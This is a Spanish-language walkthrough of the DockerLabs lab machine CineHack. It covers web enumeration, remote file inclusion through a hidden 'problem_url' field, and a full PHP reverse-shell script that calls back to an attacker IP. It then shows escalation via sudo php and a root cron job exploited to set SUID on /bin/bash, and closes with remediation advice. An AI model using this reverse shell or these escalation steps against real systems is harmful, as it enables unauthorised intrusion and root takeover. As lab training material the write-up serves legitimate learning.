Ir al contenido

CineHack

Este documento detalla la metodología y procedimiento completo para comprometer la máquina CineHack, desarrollada por d1se0 para DockerLabs y clasificada con dificultad Media.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios web, descubrimiento de rutas y análisis de código fuente.
  2. Explotación: Abuso de un parámetro vulnerable a Local File Inclusion (LFI) para cargar y ejecutar una webshell.
  3. Escalada de privilegios: Abuso de privilegios sudo y explotación de una tarea cron mal configurada para obtener acceso root.

El entorno de prueba fue desplegado localmente mediante DockerLabs, asegurando un ambiente aislado y controlado.


AtributoValor
NombreCineHack
Autord1se0
DificultadMedio
Fecha17/10/2025
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y la desplegamos utilizando el script proporcionado:

Ventana de terminal
unzip CineHack.zip
sudo bash auto_deploy.sh CineHack.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p CineHack/{content,exploits,nmap,gobuster,scripts}
cd CineHack

Ejecutamos un escaneo TCP SYN para identificar puertos abiertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 80/tcp — HTTP (Web Server)

Puertos abiertos

Figura 2: Único puerto HTTP identificado

El sitio web inicialmente muestra contenido incompleto. Analizando el código fuente se identifica que la aplicación está configurada para el dominio cinema.dl.

Agregamos la resolución al archivo /etc/hosts:

Ventana de terminal
echo "172.17.0.2 cinema.dl" | sudo tee -a /etc/hosts

Realizamos un escaneo exhaustivo de directorios y archivos:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Resultado del escaneo

Figura 3: Resultados del escaneo de directorios

Rutas relevantes identificadas:

  1. /index — Página principal del cine Página principal Figura 4: Cartelera del cine

  2. /reserva.html — Formulario de reservaciones Formulario de reserva Figura 5: Formulario para seleccionar asientos

Inspeccionando el código HTML de /reserva.html, encontramos un comentario revelador:

Comentario en el código

Figura 6: Input oculto con parámetro problem_url

El campo problem_url está configurado como hidden. Al modificar este atributo en el inspector del navegador:

<!-- Cambiar de: -->
<input type="hidden" name="problem_url" value="https://example.com/solution.txt">
<!-- A: -->
<input type="text" name="problem_url" value="https://example.com/solution.txt">

Input visible

Figura 7: Campo problem_url ahora visible

El valor por defecto del parámetro problem_url es https://example.com/solution.txt, sugiriendo una posible vulnerabilidad de Local File Inclusion (LFI) o Remote File Inclusion (RFI).


Creamos un archivo PHP para obtener una reverse shell:

shell.php
<?php
$ip = "172.17.0.1"; // IP del atacante
$port = 443; // Puerto del listener
$shell = "/bin/bash";
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if(!$sock) {
die("Error de conexión: $errstr ($errno)");
}
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open($shell, $descriptorspec, $pipes);
proc_close($process);
?>

Iniciamos un servidor web local y un listener:

Ventana de terminal
# Servidor HTTP para servir el archivo malicioso
python3 -m http.server 80
# Listener para recibir la conexión
nc -nlvp 443

Accedemos directamente al endpoint vulnerable con el parámetro problem_url:

http://cinema.dl/reservation.php?problem_url=http://172.17.0.1/shell.php

Tras varias pruebas de ubicación del archivo subido, descubrimos el directorio /andrewgarfield/ (nombre del actor principal de la película seleccionada).

Accedemos al archivo subido para ejecutar la reverse shell:

http://cinema.dl/andrewgarfield/shell.php

Reverse shell obtenida

Figura 8: Shell como usuario www-data


Primero estabilizamos la shell obtenida:

Ventana de terminal
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin

Verificamos privilegios de sudo disponibles:

Ventana de terminal
sudo -l

Privilegios sudo

Figura 9: Permisos sudo del usuario www-data

El usuario www-data puede ejecutar php como el usuario boss sin contraseña:

Ventana de terminal
sudo -u boss php -r "system('/bin/bash');"

Shell como boss

Figura 10: Acceso como usuario boss

Durante la enumeración, descubrimos que las sesiones tienen timeout automático. Investigamos procesos y tareas programadas:

Ventana de terminal
ps aux | grep cron
ls -la /var/spool/cron/

Inspeccionamos las tareas cron activas y encontramos:

Ventana de terminal
cat /var/spool/cron/crontabs/root.sh

Contenido del cron

Figura 11: Tarea cron configurada incorrectamente

El script /tmp/script.sh es ejecutado periódicamente como root pero no existe por defecto. Creamos un archivo malicioso:

Ventana de terminal
echo -e '#!/bin/bash\n\nchmod u+s /bin/bash' > /tmp/script.sh
chmod +x /tmp/script.sh

Esperamos a que se ejecute la tarea cron (aproximadamente 1 minuto) y luego:

Ventana de terminal
bash -p

Shell como root

Figura 12: Acceso root obtenido exitosamente


VulnerabilidadSeveridadImpactoCVE/Referencia
Remote File Inclusion (RFI) en parámetro problem_urlAltaEjecución remota de códigoCWE-98
Configuración insegura de permisos sudoMediaEscalada horizontal de privilegiosCWE-269
Tarea cron con path traversal y falta de validaciónCríticaEscalada vertical a rootCWE-22
Exposición de información sensible en código HTMLBajaFacilitación del ataqueCWE-200
  1. Protección contra RFI/LFI:

    • Validar y sanitizar todos los parámetros de entrada
    • Implementar lista blanca de URLs permitidas
    • Deshabilitar allow_url_include en php.ini
    • Utilizar funciones seguras como basename() para nombres de archivo
  2. Gestión de Permisos Sudo:

    • Revisar y minimizar privilegios sudo
    • Eliminar ejecución sin contraseña cuando sea posible
    • Implementar el principio de mínimo privilegio
    • Utilizar comandos específicos en lugar de binarios genéricos como php
  3. Configuración de Tareas Cron:

    • Validar existencia de archivos antes de ejecución
    • Utilizar rutas absolutas y restringidas
    • Implementar propietarios y permisos adecuados
    • Monitorear ejecución de scripts en /tmp/
  4. Hardening del Servidor Web:

    • Ocultar información sensible en código fuente
    • Implementar WAF (Web Application Firewall)
    • Configurar headers de seguridad adecuados
    • Realizar auditorías de código regularmente
  5. Monitoreo y Respuesta:

    • Implementar logs de acceso detallados
    • Monitorear creación/ejecución de archivos en /tmp/
    • Configurar alertas para ejecución de comandos privilegiados
    • Realizar pentests periódicos